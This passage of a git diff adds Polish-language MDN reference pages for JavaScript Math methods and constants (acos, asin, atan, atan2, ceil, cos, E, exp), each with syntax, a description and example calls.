+ <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/acos/index.html b/files/pl/web/javascript/referencje/obiekty/math/acos/index.html
new file mode 100644
index 0000000000..afb1485ada
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/acos/index.html
@@ -0,0 +1,59 @@
+---
+title: Math.acos()
+slug: Web/JavaScript/Referencje/Obiekty/Math/acos
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca arcus cosinus (w radianach) danej liczby.</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arccos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mo stretchy="false">[</mo><mn>0</mn><mo>;</mo><mi>π</mi><mo stretchy="false">]</mo><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cos</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x</annotation></semantics></math></p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.acos(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>acos</code> zwraca wartość numeryczną od 0 do pi dla <code>x</code> pomiędzy -1 a 1. Jeśli liczba <code>x</code> jest spoza przedziału [-1, 1], zwracany jest {{jsxref("NaN")}}.</p>
+
+<p>Ponieważ <code>acos</code> jest statyczną metodą obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.acos()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.acos" name="Przyk.C5.82ad:_Zastosowanie_Math.acos">Przykład: Zastosowanie <code>Math.acos()</code></h3>
+
+<p>Poniższa funkcja zwraca arcus cosinus zmiennej <code>x</code>:</p>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // NaN
+</span>Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 3.141592653589793
+</span>Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1.5707963267948966
+</span>Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token number">0.5</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1.0471975511965979
+</span>Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0
+</span>Math<span class="token punctuation">.</span><span class="token function">acos<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // NaN</span></code></pre>
+
+<p>Jeśli do <code>getAcos</code> przekazana zostanie wartość -1, funkcja zwróci 3.141592653589793; jeśli przekazana zostanie wartość 2, zwrócony zostanie <code>NaN</code>, ponieważ 2 jest poza zakresem (tj. dziedziną funkcji arcus cosinus).</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/asin/index.html b/files/pl/web/javascript/referencje/obiekty/math/asin/index.html
new file mode 100644
index 0000000000..e473586a49
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/asin/index.html
@@ -0,0 +1,58 @@
+---
+title: Math.asin()
+slug: Web/JavaScript/Referencje/Obiekty/Math/asin
+tags:
+ - JavaScript
+ - Math
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/asin
+---
+<p>{{jsref}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca arcus sinus (w radianach) danej liczby.</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.asin</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arcsin</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">sin</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x</annotation></semantics></math></p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.asin(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>Math.asin()</code> zwraca wartość liczbową pomiędzy <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> i <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math> radianów dla <code>x</code> z przedziału [-1, 1]. Jeśli <code>x</code> jest poza tym zakresem, zwracany jest <code>NaN</code>.</p>
+
+<p>Ponieważ <code>asin</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.asin()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.asin" name="Przyk.C5.82ad:_Zastosowanie_Math.asin">Przykład: Zastosowanie <code>Math.asin()</code></h3>
+
+<p>Poniższa funkcja zwraca arcus sinus zmiennej <code>x</code>:</p>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // NaN
+</span>Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // -1.5707963267948966 (-pi/2)
+</span>Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0
+</span>Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token number">0.5</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 0.5235987755982989
+</span>Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1.570796326794897 (pi/2)
+</span>Math<span class="token punctuation">.</span><span class="token function">asin<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // NaN</span></code></pre>
+
+<p>Jeśli do funkcji <code>getAsin</code> przekazana zostanie wartość 1, funkcja ta zwróci 1.570796326794897 (pi/2); jeśli przekazana zostanie wartość 2, funkcja zwróci {{jsxref("<code>NaN</code>")}}, ponieważ 2 jest poza dziedziną funkcji arcus sinus.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/atan/index.html b/files/pl/web/javascript/referencje/obiekty/math/atan/index.html
new file mode 100644
index 0000000000..4e452e1f13
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/atan/index.html
@@ -0,0 +1,51 @@
+---
+title: Math.atan()
+slug: Web/JavaScript/Referencje/Obiekty/Math/atan
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca arcus tangens (w radianach) danej liczby.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arctan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tan</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x</annotation></semantics></math></p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.atan(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>atan</code> zwraca wartość liczbową pomiędzy <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> i <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math> radianów.</p>
+
+<p>Ponieważ <code>atan</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.atan()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.atan" name="Przyk.C5.82ad:_Zastosowanie_Math.atan">Przykład: Zastosowanie <code>Math.atan()</code></h3>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">atan<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0.7853981633974483
+</span>Math<span class="token punctuation">.</span><span class="token function">atan<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/atan2/index.html b/files/pl/web/javascript/referencje/obiekty/math/atan2/index.html
new file mode 100644
index 0000000000..81f4606036
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/atan2/index.html
@@ -0,0 +1,63 @@
+---
+title: Math.atan2()
+slug: Web/JavaScript/Referencje/Obiekty/Math/atan2
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan2
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca kąta (w radianach) utworzony przez oś OX i prostą przechodzącą przez punkt o podanych współrzędnych.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.atan2(<var>y</var>, <var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>y, x</code> </dt>
+ <dd>liczby.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>atan2</code> zwraca wartość liczbową pomiędzy -π a π, reprezentującą kąt theta punktu <code>(x, y)</code>. Kąt ten, mierzony w radianach, został utworzony przez dodatnią oś OX i punkt <code>(x,y)</code>, z obrotem w kierunku przeciwnym do ruchu wskazówek zegara. Należy zwrócić uwagę na to, że pierwszym argumentem tej funkcji jest współrzędna y, a x jest argumentem drugim.</p>
+
+<p>Do metody Math.<code>atan2</code>() przekazywane są osobno argumenty <code>x</code> i <code>y</code>, podczas gdy do metody <code>atan</code> przekazywany jest stosunek tych dwóch wartości.</p>
+
+<p>Ponieważ <code>atan2()</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.atan2()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.atan2" name="Przyk.C5.82ad:_Zastosowanie_Math.atan2">Przykład: Zastosowanie <code>Math.atan2()</code></h3>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span><span class="token number">90</span><span class="token punctuation">,</span> <span class="token number">15</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1.4056476493802699
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span><span class="token number">15</span><span class="token punctuation">,</span> <span class="token number">90</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 0.16514867741462683
+</span>
+Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±PI.
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">+</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±0.
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">-</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±PI for x &gt; 0.
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">0</span><span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±0 for x &gt; 0.
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span><span class="token operator">-</span>y<span class="token punctuation">,</span> ±<span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // -PI/2 for y &gt; 0.
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>y<span class="token punctuation">,</span> ±<span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // PI/2 for y &gt; 0.
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±y<span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±PI for finite y &gt; 0.
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±y<span class="token punctuation">,</span> <span class="token operator">+</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±0 for finite y &gt; 0.
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">Infinity</span><span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±PI/2 for finite x.
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">Infinity</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // ±3*PI/4.
+</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">Infinity</span><span class="token punctuation">,</span> <span class="token operator">+</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // ±PI/4.</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/ceil/index.html b/files/pl/web/javascript/referencje/obiekty/math/ceil/index.html
new file mode 100644
index 0000000000..8e48d70931
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/ceil/index.html
@@ -0,0 +1,49 @@
+---
+title: Math.ceil()
+slug: Web/JavaScript/Referencje/Obiekty/Math/ceil
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca najmniejszą liczbę całkowitą większą od lub równą danej.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.ceil(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>ceil</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.ceil()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<h4 id="Przyk.C5.82ad:_Zastosowanie_Math.ceil" name="Przyk.C5.82ad:_Zastosowanie_Math.ceil">Przykład: Zastosowanie <code>Math.ceil()</code></h4>
+
+<p>Poniższa funkcja zwraca wartość metody ceil dla zmiennej <code>x</code>:</p>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">ceil<span class="token punctuation">(</span></span><span class="token punctuation">.</span><span class="token number">95</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1
+</span>Math<span class="token punctuation">.</span><span class="token function">ceil<span class="token punctuation">(</span></span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 4
+</span>Math<span class="token punctuation">.</span><span class="token function">ceil<span class="token punctuation">(</span></span><span class="token number">7.004</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 8</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/cos/index.html b/files/pl/web/javascript/referencje/obiekty/math/cos/index.html
new file mode 100644
index 0000000000..6634e7d96e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/cos/index.html
@@ -0,0 +1,52 @@
+---
+title: Math.cos()
+slug: Web/JavaScript/Referencje/Obiekty/Math/cos
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cos
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca cosinus danej liczby.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="syntaxbox"><code>Math.cos(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>cos</code> zwraca wartość liczbową pomiędzy -1 a 1, która reprezentuje cosinus kąta.</p>
+
+<p>Ponieważ <code>cos()</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.cos()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.cos" name="Przyk.C5.82ad:_Zastosowanie_Math.cos">Przykład: Zastosowanie <code>Math.cos()</code></h3>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">cos<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1
+</span>Math<span class="token punctuation">.</span><span class="token function">cos<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0.5403023058681398
+</span>
+Math<span class="token punctuation">.</span><span class="token function">cos<span class="token punctuation">(</span></span>Math<span class="token punctuation">.</span>PI<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // -1
+</span>Math<span class="token punctuation">.</span><span class="token function">cos<span class="token punctuation">(</span></span><span class="token number">2</span> <span class="token operator">*</span> Math<span class="token punctuation">.</span>PI<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/e/index.html b/files/pl/web/javascript/referencje/obiekty/math/e/index.html
new file mode 100644
index 0000000000..76659e8c1d
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/e/index.html
@@ -0,0 +1,40 @@
+---
+title: Math.E
+slug: Web/JavaScript/Referencje/Obiekty/Math/E
+tags:
+ - JavaScript
+ - Math
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/E
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Stała Eulera stanowiąca podstawę logarytmów naturalnych, w przybliżeniu 2.718.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.E</mi></mstyle><mo>=</mo><mi>e</mi><mo>≈</mo><mn>2.718</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.E}} = e \approx 2.718</annotation></semantics></math></p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>E</code> jest statyczną własnością obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.E</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_E" name="Przyk.C5.82ad:_Zastosowanie_E">Przykład: Zastosowanie <code>Math.E</code></h3>
+
+<p>Poniższa funkcja zwraca e:</p>
+
+<pre class="brush: js language-js">function getNapier() {
+ return Math.E;
+}
+
+<code class="language-js"><span class="token function">getNapier<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 2.718281828459045</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/exp/index.html b/files/pl/web/javascript/referencje/obiekty/math/exp/index.html
new file mode 100644
index 0000000000..f7bc13ecbb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/exp/index.html
@@ -0,0 +1,49 @@
+---
+title: Math.exp()
+slug: Web/JavaScript/Referencje/Obiekty/Math/exp
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca e<sup>x</sup>, gdzie <code>x</code> to argument, a e to {{jsxref("Math.E", "stała Eulera", "", 1)}}, podstawa logarytmu naturalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.exp(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
